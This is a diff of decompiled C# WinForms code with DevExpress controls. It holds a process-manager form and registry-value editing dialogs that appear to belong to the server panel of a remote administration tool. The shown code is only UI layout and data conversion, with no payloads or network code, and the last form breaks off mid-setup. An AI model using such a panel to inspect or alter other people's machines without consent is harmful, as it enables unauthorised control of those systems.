this.TitleColumn.AppearanceCell.Options.UseTextOptions = true;
this.TitleColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.TitleColumn.Caption = "Title";
this.TitleColumn.FieldName = "Name";
this.TitleColumn.MinWidth = 171;
this.TitleColumn.Name = "TitleColumn";
this.TitleColumn.Visible = true;
this.TitleColumn.VisibleIndex = 0;
this.TitleColumn.Width = 310;
this.PIDColumn.Caption = "Pid";
this.PIDColumn.FieldName = "Pid";
this.PIDColumn.MinWidth = 17;
this.PIDColumn.Name = "PIDColumn";
this.PIDColumn.Visible = true;
this.PIDColumn.VisibleIndex = 1;
this.PIDColumn.Width = 308;
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(650, 524);
this.xtraTabControl1.TabIndex = 11;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.gridControlProc);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(648, 493);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(650, 524);
base.Controls.Add(this.xtraTabControl1);
base.Controls.Add(this.barDockControlLeft);
base.Controls.Add(this.barDockControlRight);
base.Controls.Add(this.barDockControlBottom);
base.Controls.Add(this.barDockControlTop);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormProcessManager.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormProcessManager.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
this.MaximumSize = new System.Drawing.Size(652, 558);
this.MinimumSize = new System.Drawing.Size(652, 558);
base.Name = "FormProcessManager";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Process Manager";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormProcessManager_FormClosed);
base.Load += new System.EventHandler(FormProcessManager_Load);
((System.ComponentModel.ISupportInitialize)this.popupMenuProcess).EndInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).EndInit();
((System.ComponentModel.ISupportInitialize)this.gridControlProc).EndInit();
((System.ComponentModel.ISupportInitialize)this.gridViewProc).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
base.ResumeLayout(false);
base.PerformLayout();
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,179 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using Server.Helper;
using Server.Helper.HexEditor;
namespace Server.Forms;
public class FormRegValueEditBinary : XtraForm
{
private readonly RegistrySeeker.RegValueData _value;
private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly.";
private IContainer components;
private Label label2;
private Label label1;
private SimpleButton simpleButton1;
private SimpleButton simpleButton3;
private TextEdit valueNameTxtBox;
private HexEditor hexEditor;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormRegValueEditBinary(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
hexEditor.HexTable = value.Data;
}
private void okButton_Click(object sender, EventArgs e)
{
byte[] hexTable = hexEditor.HexTable;
if (hexTable != null)
{
try
{
_value.Data = hexTable;
base.DialogResult = DialogResult.OK;
base.Tag = _value;
}
catch
{
ShowWarning("The binary value was invalid and could not be converted correctly.", "Warning");
base.DialogResult = DialogResult.None;
}
}
Close();
}
private void ShowWarning(string msg, string caption)
{
MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
private void FormRegValueEditBinary_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormRegValueEditBinary));
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.simpleButton1 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.valueNameTxtBox = new DevExpress.XtraEditors.TextEdit();
this.hexEditor = new Server.Helper.HexEditor.HexEditor();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.label2.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(11, 64);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(62, 13);
this.label2.TabIndex = 7;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(11, 12);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.TabIndex = 9;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.simpleButton1.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.simpleButton1.Location = new System.Drawing.Point(289, 337);
this.simpleButton1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton1.Name = "simpleButton1";
this.simpleButton1.Size = new System.Drawing.Size(122, 30);
this.simpleButton1.TabIndex = 30;
this.simpleButton1.Text = "Cancel";
this.simpleButton3.DialogResult = System.Windows.Forms.DialogResult.OK;
this.simpleButton3.Location = new System.Drawing.Point(141, 337);
this.simpleButton3.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.Size = new System.Drawing.Size(122, 30);
this.simpleButton3.TabIndex = 29;
this.simpleButton3.Text = "OK";
this.valueNameTxtBox.Location = new System.Drawing.Point(14, 28);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Size = new System.Drawing.Size(397, 28);
this.valueNameTxtBox.TabIndex = 31;
this.hexEditor.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
this.hexEditor.BorderColor = System.Drawing.Color.Empty;
this.hexEditor.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam;
this.hexEditor.Location = new System.Drawing.Point(12, 81);
this.hexEditor.Margin = new System.Windows.Forms.Padding(4);
this.hexEditor.Name = "hexEditor";
this.hexEditor.SelectionBackColor = System.Drawing.Color.Green;
this.hexEditor.Size = new System.Drawing.Size(399, 250);
this.hexEditor.TabIndex = 32;
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(428, 409);
this.xtraTabControl1.TabIndex = 33;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.label1);
this.xtraTabPage1.Controls.Add(this.hexEditor);
this.xtraTabPage1.Controls.Add(this.label2);
this.xtraTabPage1.Controls.Add(this.valueNameTxtBox);
this.xtraTabPage1.Controls.Add(this.simpleButton3);
this.xtraTabPage1.Controls.Add(this.simpleButton1);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(426, 378);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(428, 409);
base.Controls.Add(this.xtraTabControl1);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormRegValueEditBinary.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormRegValueEditBinary.IconOptions.Image");
this.MaximumSize = new System.Drawing.Size(430, 443);
this.MinimumSize = new System.Drawing.Size(430, 443);
base.Name = "FormRegValueEditBinary";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Reg Value Edit Binary";
base.Load += new System.EventHandler(FormRegValueEditBinary_Load);
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,162 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraRichEdit;
using DevExpress.XtraTab;
using Server.Helper;
namespace Server.Forms;
public class FormRegValueEditMultiString : XtraForm
{
private readonly RegistrySeeker.RegValueData _value;
private IContainer components;
private Label label2;
private Label label1;
private SimpleButton simpleButton1;
private SimpleButton simpleButton3;
private TextEdit valueNameTxtBox;
private RichEditControl valueDataTxtBox;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormRegValueEditMultiString(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = value.Name;
valueDataTxtBox.Text = string.Join("\r\n", Server.Helper.ByteConverter.ToStringArray(value.Data));
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new string[1] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries));
base.Tag = _value;
base.DialogResult = DialogResult.OK;
Close();
}
private void FormRegValueEditMultiString_Load(object sender, EventArgs e)
{
}
private void richEditControl1_Click(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormRegValueEditMultiString));
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.simpleButton1 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.valueNameTxtBox = new DevExpress.XtraEditors.TextEdit();
this.valueDataTxtBox = new DevExpress.XtraRichEdit.RichEditControl();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.label2.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(13, 84);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(62, 13);
this.label2.TabIndex = 8;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(13, 36);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.TabIndex = 10;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.simpleButton1.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.simpleButton1.Location = new System.Drawing.Point(240, 297);
this.simpleButton1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton1.Name = "simpleButton1";
this.simpleButton1.Size = new System.Drawing.Size(121, 30);
this.simpleButton1.TabIndex = 30;
this.simpleButton1.Text = "Cancel";
this.simpleButton3.DialogResult = System.Windows.Forms.DialogResult.OK;
this.simpleButton3.Location = new System.Drawing.Point(104, 297);
this.simpleButton3.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.Size = new System.Drawing.Size(121, 30);
this.simpleButton3.TabIndex = 29;
this.simpleButton3.Text = "OK";
this.valueNameTxtBox.Location = new System.Drawing.Point(16, 51);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Size = new System.Drawing.Size(345, 28);
this.valueNameTxtBox.TabIndex = 31;
this.valueDataTxtBox.ActiveViewType = DevExpress.XtraRichEdit.RichEditViewType.Simple;
this.valueDataTxtBox.LayoutUnit = DevExpress.XtraRichEdit.DocumentLayoutUnit.Pixel;
this.valueDataTxtBox.Location = new System.Drawing.Point(19, 99);
this.valueDataTxtBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(343, 185);
this.valueDataTxtBox.TabIndex = 33;
this.valueDataTxtBox.Click += new System.EventHandler(richEditControl1_Click);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(377, 372);
this.xtraTabControl1.TabIndex = 34;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.label1);
this.xtraTabPage1.Controls.Add(this.valueDataTxtBox);
this.xtraTabPage1.Controls.Add(this.label2);
this.xtraTabPage1.Controls.Add(this.valueNameTxtBox);
this.xtraTabPage1.Controls.Add(this.simpleButton3);
this.xtraTabPage1.Controls.Add(this.simpleButton1);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(375, 341);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(377, 372);
base.Controls.Add(this.xtraTabControl1);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormRegValueEditMultiString.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormRegValueEditMultiString.IconOptions.Image");
this.MaximumSize = new System.Drawing.Size(379, 406);
this.MinimumSize = new System.Drawing.Size(379, 406);
base.Name = "FormRegValueEditMultiString";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Reg Value Edit Multi String";
base.Load += new System.EventHandler(FormRegValueEditMultiString_Load);
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,153 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using Server.Helper;
namespace Server.Forms;
public class FormRegValueEditString : XtraForm
{
private readonly RegistrySeeker.RegValueData _value;
private IContainer components;
private Label label2;
private Label label1;
private SimpleButton cancelBtn;
private SimpleButton okBtn;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
private TextEdit valueDataTxtBox;
private TextEdit valueNameTxtBox;
public FormRegValueEditString(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
valueDataTxtBox.Text = Server.Helper.ByteConverter.ToString(value.Data);
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.Text);
base.Tag = _value;
base.DialogResult = DialogResult.OK;
Close();
}
private void FormRegValueEditString_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormRegValueEditString));
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.cancelBtn = new DevExpress.XtraEditors.SimpleButton();
this.okBtn = new DevExpress.XtraEditors.SimpleButton();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
this.valueDataTxtBox = new DevExpress.XtraEditors.TextEdit();
this.valueNameTxtBox = new DevExpress.XtraEditors.TextEdit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.valueDataTxtBox.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).BeginInit();
base.SuspendLayout();
this.label2.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(24, 96);
this.label2.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(74, 16);
this.label2.TabIndex = 8;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(24, 32);
this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(81, 16);
this.label1.TabIndex = 10;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.cancelBtn.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelBtn.Location = new System.Drawing.Point(339, 152);
this.cancelBtn.Name = "cancelBtn";
this.cancelBtn.Size = new System.Drawing.Size(123, 30);
this.cancelBtn.TabIndex = 30;
this.cancelBtn.Text = "Cancel";
this.okBtn.Location = new System.Drawing.Point(201, 152);
this.okBtn.Name = "okBtn";
this.okBtn.Size = new System.Drawing.Size(123, 30);
this.okBtn.TabIndex = 29;
this.okBtn.Text = "OK";
this.okBtn.Click += new System.EventHandler(okButton_Click);
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(501, 253);
this.xtraTabControl2.TabIndex = 31;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.valueDataTxtBox);
this.xtraTabPage2.Controls.Add(this.label1);
this.xtraTabPage2.Controls.Add(this.valueNameTxtBox);
this.xtraTabPage2.Controls.Add(this.label2);
this.xtraTabPage2.Controls.Add(this.okBtn);
this.xtraTabPage2.Controls.Add(this.cancelBtn);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(499, 222);
this.valueDataTxtBox.Location = new System.Drawing.Point(28, 116);
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(434, 30);
this.valueDataTxtBox.TabIndex = 33;
this.valueNameTxtBox.Location = new System.Drawing.Point(28, 61);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Size = new System.Drawing.Size(434, 30);
this.valueNameTxtBox.TabIndex = 32;
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(501, 253);
base.Controls.Add(this.xtraTabControl2);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormRegValueEditString.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormRegValueEditString.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(4);
base.Name = "FormRegValueEditString";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "FormRegValueEditString";
base.Load += new System.EventHandler(FormRegValueEditString_Load);
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
this.xtraTabPage2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.valueDataTxtBox.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).EndInit();
base.ResumeLayout(false);
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,223 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using Microsoft.Win32;
using Server.Helper;
namespace Server.Forms;
public class FormRegValueEditWord : XtraForm
{
private readonly RegistrySeeker.RegValueData _value;
private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?";
private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?";
private IContainer components;
private Label label2;
private Label label1;
private WordTextBox valueDataTxtBox;
private SimpleButton cancelBtn;
private SimpleButton okBtn;
private TextEdit valueNameTxtBox;
private RadioGroup radioGroupBase;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormRegValueEditWord(RegistrySeeker.RegValueData value)
{
_value = value;
InitializeComponent();
valueNameTxtBox.Text = value.Name;
if (value.Kind == RegistryValueKind.DWord)
{
Text = "Edit DWORD (32-bit) Value";
valueDataTxtBox.Type = WordTextBox.WordType.DWORD;
valueDataTxtBox.Text = Server.Helper.ByteConverter.ToUInt32(value.Data).ToString("x");
}
else
{
Text = "Edit QWORD (64-bit) Value";
valueDataTxtBox.Type = WordTextBox.WordType.QWORD;
valueDataTxtBox.Text = Server.Helper.ByteConverter.ToUInt64(value.Data).ToString("x");
}
}
private void okButton_Click(object sender, EventArgs e)
{
if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
{
_value.Data = ((_value.Kind == RegistryValueKind.DWord) ? Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.UIntValue) : Server.Helper.ByteConverter.GetBytes(valueDataTxtBox.ULongValue));
base.Tag = _value;
base.DialogResult = DialogResult.OK;
}
else
{
base.DialogResult = DialogResult.None;
}
Close();
}
private DialogResult ShowWarning(string msg, string caption)
{
return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation);
}
private bool IsOverridePossible()
{
string msg = ((_value.Kind == RegistryValueKind.DWord) ? "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?" : "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?");
return ShowWarning(msg, "Overflow") == DialogResult.Yes;
}
private void radioGroupBase_SelectedIndexChanged(object sender, EventArgs e)
{
if (valueDataTxtBox.IsHexNumber != (Convert.ToInt32(radioGroupBase.EditValue) == 16))
{
if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
{
valueDataTxtBox.IsHexNumber = Convert.ToInt32(radioGroupBase.EditValue) == 16;
}
else
{
radioGroupBase.EditValue = 10;
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormRegValueEditWord));
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.cancelBtn = new DevExpress.XtraEditors.SimpleButton();
this.okBtn = new DevExpress.XtraEditors.SimpleButton();
this.valueDataTxtBox = new Server.Helper.WordTextBox();
this.valueNameTxtBox = new DevExpress.XtraEditors.TextEdit();
this.radioGroupBase = new DevExpress.XtraEditors.RadioGroup();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.valueDataTxtBox.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.valueNameTxtBox.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.radioGroupBase.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.label2.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(13, 65);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(62, 13);
this.label2.TabIndex = 15;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(13, 17);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.TabIndex = 16;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.cancelBtn.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelBtn.Location = new System.Drawing.Point(105, 131);
this.cancelBtn.Name = "cancelBtn";
this.cancelBtn.Size = new System.Drawing.Size(83, 26);
this.cancelBtn.TabIndex = 30;
this.cancelBtn.Text = "Cancel";
this.okBtn.Location = new System.Drawing.Point(17, 131);
this.okBtn.Name = "okBtn";
this.okBtn.Size = new System.Drawing.Size(83, 26);
this.okBtn.TabIndex = 29;
this.okBtn.Text = "OK";
this.okBtn.Click += new System.EventHandler(okButton_Click);
this.valueDataTxtBox.IsHexNumber = false;
this.valueDataTxtBox.Location = new System.Drawing.Point(17, 83);
this.valueDataTxtBox.MaxLength = 8;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Properties.MaxLength = 8;
this.valueDataTxtBox.Size = new System.Drawing.Size(171, 28);
this.valueDataTxtBox.TabIndex = 17;
this.valueDataTxtBox.Type = Server.Helper.WordTextBox.WordType.DWORD;
this.valueNameTxtBox.Location = new System.Drawing.Point(17, 35);
this.valueNameTxtBox.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.Size = new System.Drawing.Size(333, 28);
this.valueNameTxtBox.TabIndex = 31;
this.radioGroupBase.EditValue = 16;
this.radioGroupBase.Location = new System.Drawing.Point(217, 72);
this.radioGroupBase.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.radioGroupBase.Name = "radioGroupBase";
this.radioGroupBase.Properties.Appearance.BackColor = System.Drawing.Color.Transparent;
this.radioGroupBase.Properties.Appearance.Options.UseBackColor = true;
